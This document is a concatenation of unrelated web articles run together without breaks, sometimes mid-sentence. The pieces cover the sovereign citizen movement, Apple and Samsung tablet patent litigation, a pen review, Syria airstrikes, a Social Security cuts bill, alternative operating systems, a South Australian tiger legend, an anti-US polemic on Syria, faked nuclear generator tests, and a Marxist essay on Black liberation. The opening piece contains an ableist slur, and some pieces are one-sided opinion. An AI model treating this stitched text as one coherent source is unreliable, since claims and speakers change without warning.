Due to its emphasis on the concept of ‘sovereignty’, the sovereign citizen doctrine attracts some Natives and ensnares them in its confusing legal and conspiratorial theories. As Art Manuel correctly states, there is nothing in the sovereign citizen doctrine that supports or furthers real Indigenous sovereignty. The confusion that the use of the term ‘sovereign’ can cause, when it is used by two distinct and contradictory groups, as in this case, is obvious: Some people will confuse us with the retards.
Not only does the doctrine create confusion over what Indigenous sovereignty is, it also draws good hearted and well-intentioned Native people away from what might be more effective activities and instead has them committed to the most useless and counter-productive ones. Sovereign citizens spend countless hours researching the various legal codes and statutes they incorporate into their ‘case law’. Some spend countless more hours duplicating hundreds of CDs packed with legal documents, or ripping hundreds of DVD’s containing hours of footage of rambling lectures and workshops. They pass these out by the armloads at any gathering or event at which they think they can convert people. Hundreds of hours, hundreds of dollars, all to study, sort, file, duplicate, and distribute nothing more than junk. Garbage that only adds to the level of confusion, misinformation, and misunderstanding, already rampant in our communities.
Crazy and Confused, Con Job, or Cult? The Sovereign Citizen Movement is all of the above, and then some.
AdvertisementsLawyers representing Apple told the court that on Thursday last week Samsung delivered the company three samples of a new, modified version of the Galaxy Tab 10.1 it intended to launch in Australia. But Apple believed the new version still infringed its patents.. The Samsung Galaxy Tab 10.1 In a previous hearing Samsung had agreed to delay the launch of the US version of the tablet until the end of this week and provide Apple with samples of a modified Australian version at least a week ahead of its sale date. Patent experts accurately predicted that Apple, which believes Samsung slavishly copied the iPad's design, would not be satisfied with the modified Australian version. Apple's counsel said that while the modified version had "some reduced functionality" it "will still infringe". They sought orders from the court re-affirming the previous block on sales of the US model and asked for a new order to prevent the sale of the Australian version at least until a hearing can take place at the end of September. Samsung's lawyers initially challenged this, arguing Apple had presented no new evidence detailing why the new version infringes its patents. Samsung planned to launch the new version in the week beginning September 12.
"We don't have any evidence that makes their case. We have a different product, a new product... we believe our device does not infringe," Samsung's counsel said. However, when Justice Annabelle Bennett queried the sense in launching the product in the middle of September only to have it potentially pulled from shelves following an interlocutory hearing just a few weeks later, Samsung's lawyers agreed to "defer" the launch until at least September 30. Samsung also said it was willing to undertake to provide Apple with 48 hours notice before it planned to sell the tablet. The hearing was adjourned until 2:15pm today so lawyers representing each side could agree on the precise dates late in September when a hearing could take place - at which both sides could present their evidence. "I think this matter may need more than a day," said Justice Bennett, who also asked Apple to come up with a statement of facts and contentions outlining which patents it believed Samsung's product infringed.
Today both sides will also be negotiating the final undertakings related to delaying the launch of the Australian version of the Galaxy Tab. Apple's lawyers said "we haven't completed our inquiries" into the modified Australian version but said the company believed it infringed at least two of its patents. Samsung's lawyers said Apple had indicated it wished to sue based on its original 18 patent infringement claims as well as a further 5 claims based on a new patent that Apple was only granted on August 11. Samsung said it would challenge the validity of Apple's patents on grounds such as that the iPad's design is not "novel" (i.e. others had released similar designs earlier). It said it would provide examples of "prior art" - or previous instances of iPad-like devices. Apple and Samsung are suing each other for patent infringement all over the world and in the US case one of the examples of prior art Samsung filed in its defence was a clip and still image from the film 2001: A Space Odyssey, which it says showed the tablet design before Apple.
Samsung's counsel said the company would be filing a "cross-claim for infringement of a number of our patents... by the iPad". Justice Bennett said she owned an iPad herself but would likely need help in deciphering the patents and how they relate to the two products. Samsung vice president of telecommunications Tyler McGee was in court today but declined to comment. Patent law expert and senior associate at Melbourne law firm Watermark, Mark Summerfield, said it was usual in patent cases for an accused infringer to both deny infringement and contend that the asserted patents are invalid. "For Samsung to assert its own patents against Apple is more unusual, but given their battles around the world is not too surprising," said Summerfield.
"It seems likely that any infringement suit brought by Samsung against Apple would require separate proceedings. The issues will be too different to be considered as part of a single proceeding, and will be complicated when Apple also counter-sues for invalidity of Samsung's patents, as they almost certainly will." The suit is laced with ironies because Apple is one of Samsung's biggest customers - Samsung produces a number of the parts inside the iPad - and Apple founder Steve Jobs has previously discussed stealing ideas from competitors. "Picasso had a saying, he said 'good artists copy, great artists steal' and we have always been shameless about stealing great ideas," Jobs said in the 90s. Apple's tablet and smartphone patents are so broad that virtually all major competitors could be targeted by the company if it is successful in its legal tussle with Samsung. Loading
The patents cover the basics of multi-touch gestures - both the hardware and software implementations - and functions like slide to unlock and list scrolling. This reporter is on Twitter: @ashermosesI give it points for being inexpensive and having a nice, smooth nib (mine does, at least; I've read reviews on fountainpennetwork.com from owners whose nibs were scratchy). I bought mine sometime in the 90s, when they were still made in the U.K.--the reviewer who said they're made in the U.S.A. must be misreading something. As far as I know, Parker isn't making any pens in the U.S. anymore. They moved production overseas eons ago--the U.K. and France. I'm not. sure where they're making these pens now, but I doubt it's the U.S. Mine has always had a problem with intermittent skipping, so I stopped using it not long after I got it, especially once I found the Sheaffer cartridge pen I'd replaced with this Parker. The Sheaffer's never given me any trouble, even though I paid about the same price for the two of them at the time--about $$$. I recently posted my problem with this pen to a fountain pen board and it was suggested that I pull the nib and feed and give the feed a good scrubbing, then floss between the tines of the nib with a thin sheet of brass. I intend to do just that when I get a chance, and see if I can make this pen work. As I said, the nib is VERY smooth. It's pleasant to write with, when it's not skipping. To the reviewer whose Reflex wore out after just over a year of use--there's a reason more expensive fountain pens are more expensive. The tipping shouldn't wear down that quickly. There are pens from the early 20th century that are still in use. People are using their 50s vintage Parker 51s and Sheaffer Snorkels and Esterbrook Js on a daily basis and the nibs aren't even close to wearing out. This is not to say that inexpensive fountain pens will all wear out like the Reflex does (and this isn't the first time I've read about that happening--shame on Parker for using such soft tipping material. There are inexpensive *** and *** and *** and *** fountain pens that can be used on a daily basis and not need replacing so soon. For that reason, as well as the skipping and the chance of getting a scratchy nib, I couldn't recommend this pen.White phosphorus burning on the ground in a file photo. (AFP/File)
The Nour al-Din al-Zenki Movement, a Syrian opposition group, claimed that a Russian warplane targeted Idlib province’s Benin village using a white phosphorous bomb.
Yasser al-Yousef, an activist in the movement, told Anadolu Agency late Thursday that the attack left a number of people wounded, but he did not give an exact number or say when the alleged event took place.
White phosphorus is typically used to produce a camouflaging smoke. When used directly as a weapon, it burns flesh. It is forbidden to be used indescriminately against civilians.
While the Kremlin says its air campaign is aimed at supporting the Assad regime against Daesh, many NATO members say Russia is targeting mainstream opposition groups opposed to Assad, several of which enjoy the support of the U.S. and its allies.
At least 250,000 people have been killed since the Syria conflict began in 2011, with 7.6 million internally displaced and over four million having fled to other countries.A key House Republican on the issue of Social Security introduced a bill Thursday that would impose major cuts to the program. The bill, the Social Security Reform Act of 2016, was introduced by Rep. Sam Johnson (R-TX), the chair of the House Ways and Means subcommittee on Social Security.
It would, among other things, gradually raise the retirement age from 67 to 69 on Americans 49 or younger at the present. It would change the formula that determines the size of a retiree’s initial payments. And it would switch the program to a less generous formula for raising payments according to cost of living increases.
Big picture, the most concerning element for many experts is that its approach to make the program more solvent rest entirely on cuts, and does not raise revenues for the Social Security Trust Fund, as some bipartisan proposals have. Across the political spectrum, solutions for long term solvency range from cuts-only approaches like Johnson’s bill to plans that achieve 75-year solvency by raising the current income cap on social security taxes.
“Ultimately, we are going to need something that’s a little more balanced between benefits saving and revenue changes in order to get a proposal that could pass Congress and get approved by the president,” said Shai Akabas, director fiscal policy at the Bipartisan Policy Center.
The cuts in the bill lean more heavily on high income-earners, but most workers would see cuts — some of them drastic — if Johnson’s bill became law.
The initial cuts come in the form of the two-year retirement age increase, which according to Paul Van de Water, a senior fellow at the left-leaning Center on Budget and Policy Priorities, amounts to a seven percent cut each year.
The changes to the formula to determine the initial benefit — known as the Primary Insurance Amount (PIA) — are more complicated and involve multiple moving parts. In general though, they negatively impact higher earners the most.
“The change in the formula, it’s structured so that it produces the largest decreases on benefits for the people with the highest pre-retirement earnings,” Van de Water said.
Almost all beneficiaries, however, would see reductions as time went on when compared to current law, due to the legislation’s use of a less generous inflation metric.
“That’s another cut in benefits, and one that grows the longer the person is on the benefit rolls,” Van de Water said.
Some low wage earners — particularly those who have participated in the workforce the longest — are shielded from these cuts due to an increase minimum benefit the legislation includes that acts as a floor for those at the bottom of the scale.
A letter from the Social Security Administration’s Chief Actuary gives a more concrete picture of what the legislation would like if implemented. On the low end of the scale, for retirees who have been in the workforce the longest, a 65-year-old who made an average of $12,280 (according to an established formula called AIME) after being in the workforce for 30 years would see his benefits increase by 9 percent when he retired in 2030, as compared to the current law. A 65-year-old retiree at the earning level who was only in the workforce for 20 years would see 19 percent decrease, however, in 2030. That cut would be 32 percent, if the 65-year-old was retiring in 2050.
Up the earning scale, the reductions continue. A 65-year-old middle-income earner, someone who earned an average of $49,121 after 44 years in the workforce, would see a reduction in her benefits of 11 percent when she retired in 2030, compared to the current law. The amount of reduction would increase the longer she stayed on the rolls: when she was 75 years old, for instance, the reduction would be 14 percent compared to current law, and 16 percent when she was 85 years old.
And the cuts get more severe the later a middle-income earner is retiring. If a 65-year-old at that earning level retired in 2050, her benefits would be 17 percent less than current law. By the time that retiree was 75 years old, they would be 19 percent less, and when she was 85, 22 percent less.
A 65-year-old at the top of the scale, a $118,500 average earner, would see his benefits cut by 25 percent when he retired in 2030, compared to the current law, and that reduction would grow to 55 percent compared to current law by the time the retiree was 85 years old. Likewise, those cuts get larger the longer the law is in place. The 65 year-old at the top of scale who retires in 2050 will see a 43 percent cut in his benefits, compared to current law, that will grow to a 74 percent reduction by the time he is 85.
Additionally the Johnson’s bill makes some notable cuts to spousal benefits, while introducing some means-testing provisions.
The Republican proposal comes as GOP lawmakers are in the midst of figuring out a plan to implement an Obamacare repeal, which, according to health policy experts stands to kick millions of their insurance. Hints that Republicans may consider Medicare privatization were met with a swift rebuke by Democrats, who vowed to go to war over the program. Many pointed out that President-elect Donald Trump campaigned on protecting social safety net programs.
Likewise, Democrats were quick to condemn the GOP Social Security overhaul proposal. Even before most news outlets had picked up on the legislation, House Minority Leader Nancy Pelosi (D-CA) put out a statement slamming Johnson’s bill.
“Slashing Social Security and ending Medicare are absolutely not what the American people voted for in November,” Pelosi said. “Democrats will not stand by while Republicans dismantle the promise of a healthy and dignified retirement for working people in America.”Plan 9: You're weird, but I like you
Sliding back in the direction of vaguely Unix-like OSes, we come to Plan 9 from Bell Labs. This is what the creators of Unix went on to do next. Plan 9 extends Unix's everything-is-a-file notion to include network transparency. It's Unix Version 2: a distributed, grid-oriented OS. Compared to modern Unix, it's also very minimal and lightweight.
Plan 9 is... weird, and has almost no applications - but it shows a future direction for Unix-like OSes
Plan 9 itself has a successor, as well: Inferno. This also abstracts away the CPU architecture, using a VM ("Dis", comparable to the JVM but reaching right down into the OS's kernel) and a special type-safe portable programming language: Limbo. Inferno not only runs on native hardware but as a VM inside web browsers, thus bringing other operating systems into its grid.
And if minimal Unix-like OSes are your thing...
When Linus Torvalds originally announced his new Linux kernel on Usenet, he commented that it "won't be big and professional like gnu" – meaning the HURD, the GNU Project's ambitious Unix-compatible microkernel.
Well today Linux is very big and professional, whereas the HURD is still far from finished and probably never will be. However, if you'd like to experiment with an alternate future, one that never happened, there's a HURD-based Debian release.
Today, the most famous "microkernel" OS is Mac OS X, the core of which is itself FOSS in the form of Darwin. OS X cheats, though, by including the bulk of the FreeBSD kernel as a "Unix server" inside its not-very-micro-any-more Mach-based XNU kernel. But there are actual microkernel OSes out there. BlackBerry's QNX is one, but although there are freeware developer editions for the PC, it's not open source.
QNX's demo version comes complete with apps and an IDE.
It isn't the only option, though.
Back when Linux was first announced, there was a notorious discussion after a notable academic specialising in OS design, Dr Andrew Tanenbaum, decried the brand-new kernel as obsolete because it wasn't a microkernel. Linux itself had been bootstrapped using Minix, a very simple, portable, model OS designed by Prof Tanenbaum for teaching purposes. Eventually, to show that his theories were sound, the good professor rewrote Minix as a native x86-32 microkernel system. Minix 3 is very unlike the earlier versions and includes significant amounts of code from NetBSD to provide core Unix functionality.
Minix's old-school twm desktop - but it's a complete
FOSS microkernel OS. (click to enlarge)
Unix all a bit too much? Hanker for simpler times, when mastery of the PC meant hand-tuning CONFIG.SYS and AUTOEXEC.BAT? Before Caldera went insane and ate its own children, it acquired and then open-sourced DR-DOS, the original alternative DOS for PCs – and although it later changed its mind, the code is still out there. There's also a ground-up rewrite, FreeDOS, which sports a choice of GUIs, including another Digital Research product that's now open source: the GEM Desktop.
If even DOS is too big, there are even some minimalist x86 OSes written in assembly language. Perhaps the most directly useful is VisOpSys, which is the basis of the Partition Logic disk management tool. Somewhat more versatile are MenuetOS and its fork KolibriOS.
Going off in the opposite direction is Squeak, a complete Smalltalk-based environment. Normally this runs under a host OS, but it qualifies here due to SqueakNOS – a project to run the Squeak environment directly on the PC hardware.
And perhaps even more way-out than Squeak were the Lisp Machines – some say the greatest ever programmer's environment. Well, if you can find a copy of OpenGenera, the last-ever Lisp Machine OS, then it's possible to run it under x86-64 Linux. Perhaps that might inspire you to help develop the core of a Lisp environment for x86, too.
Twenty-five different PC operating systems to play with that are quite unlike anything else, eighteen of them free and open source. Why go outside and risk skin cancer when there are so many toys to play with over the summer? ®In 1884 near Tantanoola in South Australia's south east a Bengal tiger supposedly escaped from a travelling circus. A search was mounted, but the tiger was never found. Over the next few years, there were many reports of missing sheep in the area and some suggested that the sheep had become the prey of the missing tiger. Eleven years after the tiger went missing a local man, Tom Donovan, saw what he thought was the Bengal tiger in a paddock with a sheep in its jaws. He took a shot at it with his gun and shot the animal in the side. As it turns out, it was not a Bengal tiger, but a Eurasian wolf - equally out of place in the Australian environment. It is thought that the wolf was a stowaway on a boat that was shipwrecked off the coast, but managed to make it to the shore. The wolf was stuffed and is now on display at the Tantanoola Hotel. For fifteen years after the shooting of the wolf, however, sheep continued to go missing from the area. A policeman from Adelaide eventually went to investigate and arrested a local man for sheep stealing."Further militarization of the conflict, I'm not sure that is the way to help the Syrian people," Annan said, "They are waiting for the killing to stop. You find some people far away from Syria are the ones very keen for putting in weapons. My own view is that as late as it is we have to find a way of pouring water on the fire rather than the other way around."
Like many who seek peace in Syria, Annan looks back on the " Action Group for Syria " agreement that he brokered in Geneva on June 30th 2012 as a foundation for peace that was promptly squandered by the United States and its allies. In Geneva, all five Permanent Members of the UN Security Council signed on to a plan that would lead to free elections in Syria, with a transitional government of national unity including members of the existing government and the opposition. The critical factor which made agreement possible was that the U.S. and its allies dropped their demand for the removal of President Assad as a precondition for the transition to begin.
As Annan wrote in a Financial Times op-ed as he resigned his post as UN envoy a month later, "We left the meeting believing a Security Council resolution endorsing the group's decision was assured… Instead, there has been finger-pointing and name-calling in the Security Council."
A few days after the Geneva agreement, Russia circulated a draft resolution in the Security Council as Annan expected. But, instead of honoring the commitments they made in Geneva, the U.S., U.K. and France rejected it. They drafted a rival resolution containing all the elements they had dropped in Geneva and which had previously prevented consensus: automatic triggers for sanctions; no commitment to pressure rebel militias to comply; and the invocation of Chapter VII of the U.N. Charter as a pretext for future military action.
With the Security Council once again deadlocked, Saudi Arabia sponsored a version of the West's resolution in the UN General Assembly, calling for Assad to step down and for sanctions if he did not. The resolution seemed likely to fail, with Brazil, India, South Africa and much of the developing world lined up against it, but a watered down version was passed.
The CIA has since stepped up its support to the rebels, providing satellite intelligence on Syrian military deployments and managing arms shipments from the Persian Gulf and Croatia via Turkey and Jordan. Predictably, the bloodshed has only increased on both sides. March was probably the deadliest month since the war began. In his speech in Geneva, Kofi Annan called the current UN estimate of 70,000 Syrians killed "a gross under-estimation."
In the early days of the conflict, UN casualty figures reflected unsubstantiated and probably exaggerated reports from the Syrian opposition and their allies in the Western media. Since then, the UN has held down its estimates as the killing has escalated and the real slaughter has almost certainly now surpassed the rebel propaganda, with the rebels themselves committing their fair share of it.
Norwegian General Robert Mood echoed Kofi Annan's analysis in a recent interview with the BBC World Service'sHardtalk program. Mood led the 300-member military observer mission that went into Syria in April 2012 to monitor the ceasefire that was the first step in Annan's six-point peace plan.
Mood prematurely suspended that mission in June 2012 because the ceasefire had failed to take hold and his unarmed observer teams were being fired on and threatened by hostile crowds. He said that the operation could only resume if all parties to the conflict were committed to the safety and freedom of movement of the observers. "The government has expressed that very clearly in the last couple of days," Mood said. "I have not seen the same clear statement from the opposition yet."
Reflecting on his mission 9 months later, General Mood told Hardtalk's Steven Sackur, "There was an opening, but that opening was not used, because… the kind of international leadership that we would need was not there. That leadership could have been Russia, China, the U.S. coming together and at least agreeing on a joint message so that the government in Damascus and the key people in the Free Syrian Army and the opposition groups were given the same message. That message could have been one option to both of them that we will push forward with a plan for bringing Syria out of this terrible violence and onto a political track - a strong message to both the government and the opposition that we will accept nothing else. If such a message had come both from all of them in the P5 and the Security Council together and united, I do believe still today that it would have had a strong impact."
Sackur asked Mood about the differences between the West and Russia and China over President Assad's role during a political transition. Mood explained, "This is how small and how big the differences between the parties were. In my mind at that time, it would have been possible to lead Syria through a transition supported by a united Security Council with Assad as part of the transition. I believe there was an opening for that and I believe there was a willingness to do that. The insistence on the removal of President Assad as a start of the process led them into a corner where the strategic picture gave them no way out whatsoever…"
The more one studies the actions of the United States and its allies throughout this crisis, the more they seem to have been designed only to lead to ever-escalating violence. This raises the inescapable question whether, in fact, the slaughter and chaos taking place in Syria are in fact the intended result of U.S. policy rather than the tragic but unintended result of its failure, as Western propaganda would have us believe.
In stark contrast to cautious statements by U.S. officials, their actual policy appears to have consistently fostered the militarization and escalation of the crisis and to have undermined every peace initiative. In fact, their public statements may be only a smokescreen for a darker, more cynical policy:
- As the Arab League tried to broker a ceasefire in December 2011, ex-CIA officer Philip Giraldi reported that unmarked NATO planes were flying fighters and weapons from Libya to a "Free Syrian Army" base in Turkey; British and French special forces were training Syrian fighters; and the CIA was providing communications equipment and intelligence. Giraldi wrote, "Syrian government claims that it is being assaulted by rebels who are armed, trained and financed by foreign governments are more true than false."
- As Kofi Annan launched his peace plan in April 2012, the U.S. joined France and other allies at a series of so-called "Friends of Syria" summits, where they promised unconditional political support, weapons and money to their Syrian proxies, making sure that they would not comply with the ceasefire that was the first step in the Annan peace plan.
- After finally dropping the precondition of Assad's departure and agreeing publicly to Annan's "Action Group for Syria" proposal at the end of June 2012, the Western powers returned to the UN Security Council and reasserted all their preconditions, killing the plan before it could get off the ground.
- The supply of weapons and fighters to the rebels has increased steadily since then. Saudi judges have sent Arab Spring protesters to fight and die in Syria instead of to prison. Saudi Arabia, Qatar, Libya and other Arab monarchies send weapons, money and fighters. The Saudis fund shipments of European weapons from Croatia to Jordan to skirt the EU arms embargo. And the CIA provides military training to Syrian and foreign fighters in Jordan.
- Now, as if the U.S. has not been covertly fueling the conflict all along, the U.S. government is debating more open military support to the rebels.
To paraphrase an old riddle: "Are we governed by clever people who are putting us on, or by imbeciles who really mean it?" In this case, did the United States mean to open the gates of Hell in Syria, or did it just blunder into this mess?
But the "clever people putting us on" were really as deluded as the "imbeciles who really meant it". They saw the WMD fairy tale for what it was, but they failed to see the inevitable consequences of their own actions - not just for the people of Iraq, who they were quite prepared to sacrifice, but for the U.S. interests they hoped to advance.
As General Mood told Hardtalk, "It is fairly easy to use the military tool, because, when you launch the military tool in classical interventions, something will happen and there will be results. The problem is that the results are almost all the time different than the political results you were aiming for when you decided to launch it. So the other position, arguing that it is not the role of the international community, neither coalitions of the willing nor the UN Security Council for that matter, to change governments inside a country, is also a position that should be respected…"
As Mood said, "there will be results." The use of military force, overt or covert, will kill and injure a lot of people, because that is what modern weapons are designed to do. And sufficient violence covertly unleashed within a society will break down law and order and turn groups of people against each other. U.S. military leaders understand this perfectly well based on decades of experience.
Syria is a more densely populated, more complex country than Libya, with powerful military forces and a relatively popular government with decades of experience in managing the diverse elements that make up Syrian society. In December 2011, as NATO flew in fighters and weapons from Libya, 55% of the population told pollsters they still supported the government. That has surely eroded as the Syrian military has shelled and bombed its people, but that does not mean that people now support the foreign-backed rebels. What most Syrians want is exactly what Kofi Annan, General Mood and the current UN envoy Lakhdar Brahimi have been trying to bring them: a peaceful political transition. But U.S., British, French, Saudi, Qatari and Turkish officials could not resist the temptation to adapt the Libyan "regime change" model to Syria, knowing full well all along that this would unleash an even bloodier and more destructive conflict. There seems to be no limit to the horror that our leaders will inflict on the people of Syria to get rid of President Assad.
Since the end of the Cold War, the United States has committed serial aggression, isolating, demonizing, dividing and destroying Yugoslavia, Afghanistan, Iraq, Libya and now Syria. In each case, it has cited higher motives and good intentions, even as it concealed its own covert role in igniting, fueling and militarizing internal conflicts. As Harold Pinter said, "It has exercised a quite clinical manipulation of power worldwide, while masquerading as a force for universal good. It's a brilliant, even witty, highly successful act of hypnosis."
If post-war conditions permit, countries destroyed by U.S. aggression and covert war are recruited to join their more submissive neighbors as entry-level members of the U.S.-led capitalist world. Some American politicians appear to genuinely believe that this justifies the violence and slaughter that makes it possible, even though, as General Mood said, "the results are almost all the time different than the political results you were aiming for."
The folly and savagery of destroying country after country like this stems from a fundamental misperception of the post-Cold War world that is rooted in fantasies like Francis Fukuyama's "The End of History" theory. U.S. leaders imagined that, with the demise of the U.S.S.R., they stood at the threshold of a world made in America's image. Politics and history had passed away, to be supplanted by management, marketing and finance. They would run the world as a giant business enterprise, of which they would be the executives and majority shareholders.
But this new global dictatorship, like all dictatorships, faced the problem of what to do with dissidents who still resisted integration into America's informal global empire. By 1991, this seemed to have been reduced to a tantalizingly finite number of countries that the new American "superpower" could surely marginalize and, if necessary, destroy: Albania; Angola; Burma; Cambodia; Cuba; Iran; Iraq; Laos; Libya; North Korea; Palestine; Somalia; Syria; Vietnam; Yugoslavia; and, last but not least, China.
Twenty years later, many of those resistant regimes have been dealt with. But the United States is no closer to its cherished vision of a unipolar world. Their places on America's global "kill list" have been taken by newly independent governments even more solidly committed to resisting American imperialism, including popular democratic regimes in Latin America, which the U.S. has "plagued with misery in the name of liberty" for almost two centuries, as Simon Bolivar predicted: Argentina; Bolivia; Ecuador; El Salvador; Nepal; Nicaragua; Pakistan; Russia; Sudan; Venezuela. Popular resistance movements to global capitalism keep emerging in countries around the world, from Maoists in India to Islamist groups in the Muslim world; and much of the economically resurgent global South now has closer ties to China than to the U.S.
After killing millions and squandering trillions in its futile quest for dominance, the U.S. confronts a world it has even less power to control. But the mindset of America's leaders seems set in stone. Its rapacious machinery of covert war has only expanded under President Obama. As in the 1950s, 1970s & 1980s, the CIA has exploited America's military failures to carve out a larger role for itself, and Obama has been seduced as easily as Eisenhower, Carter and Reagan into becoming its commander, its patron and its puppet. The U.S. political system is not designed to produce new leaders who say, "No, thank you, I don't need a secret private army." True to form, Obama asked only, "What else can I do with it?"
The secrecy that makes the CIA and its JSOC foot-soldiers such attractive "tools" to President Obama is the very thing that makes them so dangerous to the rest of us, as we really should know by now. A hidden benefit of secret U.S. military operations has always been that the deferential U.S. media will report only the cover stories, turning the press into powerful co-conspirators in these operations. Secrecy and propaganda are mutually reinforcing.
For a consummate media manipulator like Obama, who was named "Marketer of the Year" for 2008 by the American advertising industry, hiding a policy of covert war and assassination behind a dovish public image was an irresistibly "witty" global masquerade. His smiling face still beams out from Shepard Fairey's iconic campaign posters as his assassins ply their trade on a dozen manhunts each night
In their 2006 book The Foreign Policy Disconnect, Benjamin Page and Marshall Bouton demonstrated that most of the crises in post-1945 U.S. foreign policy could have ben avoided if U.S. leaders had paid more attention to the views of the public. But how can the public have any influence on secret policy-making? U.S. leaders have responded to public alarm at their aggressive and illegal use of military force, not by restoring law and order to U.S. policy, but by moving it farther into the shadows to protect it from public scrutiny and interference.
But the more this policy succeeds in its goal of secrecy and deception, the more it fails in the real world. Whether Presidents Bush or Obama are ever held to account for the death and destruction they have unleashed on other countries, our children and grandchildren will pay for our complicity in their crimes, as they struggle to invest what is left of our country's resources in a belated effort to repair the damage of war, shattered international relations, looted natural resources, gutted public services and climate chaos.
China is already overtaking the United States as the world's largest economy, and may overtake the U.S. in military spending by about 2030. When will our leaders stop trying to bully a world in which they are no longer the biggest kid on the block? And where and when will they begin the vital transition to |
little regard for events more than three months down the road, profits, and therefore management bonuses, are maximized. Most corporate executives know that when the day of reckoning for their decisions arrive, likely someone else will be sitting in that chair.
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In a previous life, writer Greg Palast served as a lead investigator in several government nuclear plant fraud and racketeering investigations. These are his words regarding what he found at a nuclear power plant investigation in New York:
Back in the day, when we checked the emergency backup diesels in America, a mind-blowing number flunked. At the New York nuclear plant, for example, the builders swore under oath that their three diesel engines were ready for an emergency. They’d been tested. The tests were faked; the diesels run for just a short time at low speed. When the diesels were put through a real test under emergency-like conditions, the crankshaft on the first one snapped in about an hour, then the second and third. We nicknamed the diesels, “Snap, Crackle and Pop.”
The investigation at Fukushima will likely center around the location of the backup generators that failed, placed where the tsunami could damage them, but there’s no guarantee they would have worked anyhow. Safety regulations required a backup system, so in New York they got the cheapest generators they could find to comply with the letter of the law, disregarding its spirit. Had there been a SCRAM at the New York facility prior to Palast’s investigation, it’s likely those generators would have failed and those plants would’ve melted down too, all in the name of profit.
If this is what they do when regulations are in place, what would it be like if we relied in good faith on their promises that they would behave responsibly?
Military personnel have a propensity for dark humor. A standing joke was that our government and our people thought so highly of us that they were willing to send us to war using materials and munitions provided by the lowest bidder. You’ll never get more than you pay for in this world.
There are 23 boiling water reactors designed by General Electric in the US similar to those that are melting down in Fukushima. Fortunately, none are on the West Coast along the San Andreas fault, though some are in the Midwest around the New Madrid fault. Regardless, should some emergency or natural disaster cause a SCRAM at those reactors, will the backup diesel generators function properly, or will their driveshafts snap like twigs?
Things cost what they cost, yet men who wouldn’t dream of putting cheap brake pads in their car will buy generators that they know are insufficient to serve as backups at nuclear power plants. It’s the Achilles’ heel of capitalism — how to protect the collective good from corporate greed — but unfortunately the price is paid by all and not just those who circumvent regulations.
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Larry Wohlgemuth was raised during the tumultuous 60s in the midst of sometimes violent civil rights and antiwar protests. After a stint in the Air Force during the Vietnam War, he earned a BBA degree from Washburn University. Wohlgemuth leans so far to the left he prefers to be called “Comrade”, and his book, “Capitalism’s Final Solution” is planned to be released in the spring, 2011. Larry is a contributor to Prose Before Hos and runs his own blog, It Begs the Question.Metaphysics, Materialism and the Struggle for Black Liberation
Comrade Mond
I remember my first introduction to “pro black” literature. I was young, couldn’t have been older than 7 or 8 years old, when my father showed me the Willie Lynch letters and excerpts from the “Issys Papers”. I thought these were the answers. I was taught that all Black people were descendents of kings and queens, and that all our people had to do was open our “third eye” to achieve full Black liberation. Documents like these taught that homosexuality was a European creation to destroy the Black family, and that a woman’s servitude to a man was correct and natural. In many Black communities, class consciousness and materialism is replaced with metaphysics and mysticism in an attempt to create some kind of “National Culture” for the Black person in America. It wasn’t until a decade later, I learned that it was all made up bullshit. Because Black oppression is a material struggle, Black liberation must also take on a material character, opposed to the metaphysical teachings of many separatists and the Hotep* school of thought. Why then, are so many Pro-Black types and Black nationalists so invested in studies of metaphysics? There are a few reasons for these dangerous trends.
The first reason for the dangerous trend of metaphysics and hotepism is the fact that it is easy. By easy, I mean that it requires no real knowledge of history, no real analyses of social systems, and no class consciousness. Writers who contribute to this school of thought capitalize off of the anxiety of having very little knowledge of their national identity that masses of Blacks in America face. Using this, they attempt to create an artificial identity for Blacks in the US. “We are all descendents from kings and queens in egypt” is the usual narrative, which is not only historically inaccurate seeing as though a majority of slaves came from West African, but it also erases the importance of the actual history of the Black diaspora and tells us that we are only deserving of liberation if we are the descendents of royalty. The nature of so much of this metaphysical garbage places an obnoxious amount of emphasis on a falsified national identity, that there is no room for an actual class analysis. In fact, class analyses are rejected on the grounds of them being “divisive to the Black community and struggle”. Black people (more specifically, cishet Black men) are not required to examine the relationships with groups within our own community. Our place in society is reduced to nothing more than this faux “blackness”, which is at the center of their analyses.
This reductionist outlook is dangerous because in lacking room for class analyses, the issues of class oppression, and the social hierarchies within our own nationality go completely ignored. This means that even if Black people ended up completely separate from White folks, there is no logical reason to believe that the oppressive hierarchies created by White supremacy and capitalism won’t carry on into the “decolonized” society. Colonization leaves a nasty scar, two of them being the scars of capitalism and class oppression. Bourgeois status is romanticized, and issues of misogyny, hypermasculinity, and queerphobia (which are direct results of European colonization) go untouched. The decolonized society is the exact same as the colonized, White supremacist society except instead of White men, Black men are the overseers of the oppression of women, the poor and queer people within the community. An understanding of Marx’s dialectical materialism and class oppression are necessary in not only decolonizing a colonized people, but fully liberating those people from the oppressive chains of capitalism. The metaphysical outlook focuses solely on things-in-themselves, and sees the world and world events as things that are outside of the control of the masses.
Another reason for the popularity of these metaphysical, pseudo-historical theories are the fact that they provide a sort of “divine plan” for Black people. It brings comfort to a people who have been exploited their entire lives to believe that there is some supreme being looking out for their best interests. However, it should be understood that if liberation is the will of some divine creator, than the oppression of Black people worldwide was also the will of that same creator, and if that be the case this is a creator that I want no connections with. What can be observed however, is the objective truth that every liberation movement started with the actions of mortal people. Whether or not we are the descendents of this king or that god, it is our responsibility to take our liberation into our own hands, and not rely on the goodwill of some “divine overseer” who oversaw the oppression of black people for over 400 years.
Lastly, within the Black community, given the non threatening and flexible nature of metaphysics, it is often the most accessible to Black folks who have been robbed of a proper education, looking to learn more about their history and place in society. History has shown us that Black nationalism on its own is not a threat to capitalism or white supremacy, the catalysts for our oppression. In fact, Black national consciousness can (and often does) exist alongside capitalist oppression and White supremacy. Marcus Garvey is a great example of Black nationalism cooperating with White supremacy. Garvey met with the KKK to help further his plot to send Black people “back to Africa” because he believed that Black people would not face the same forms of oppression as we did in the US, in colonized Africa. The first rule of liberation is that there can be no cooperation with the oppressor. The reason concepts like class consciousness and dialectical materialism are not as accessible in Black communities is that equipped with these tools we pose a direct threat to White supremacy. If Black people collectively understood that every economic system served a historic purpose, and that it was inevitable that each system proceed the last when its historic mission is completed, and that capitalism is in its final stages and a proletarian revolution that will do away with oppressive white supremacist social hierarchies is inevitable, we would be the most powerful people in this country. Which is why Black leaders who understood these concepts were assassinated, and or white washed, and systematically erased from history and school curriculums. These groups and individuals include W.E.B. Dubois, Huey P. Newton, Assata Shakur, The Black Panther Party, the Black Liberation Army, Thomas Sankara, and Nelson Mandela, who were all communists or socialists. In their place sprang up this pro-capitalist, bourgeois Hotep nonsense, and since it poses no threat to white supremacy, it was able to develop relatively unchallenged.
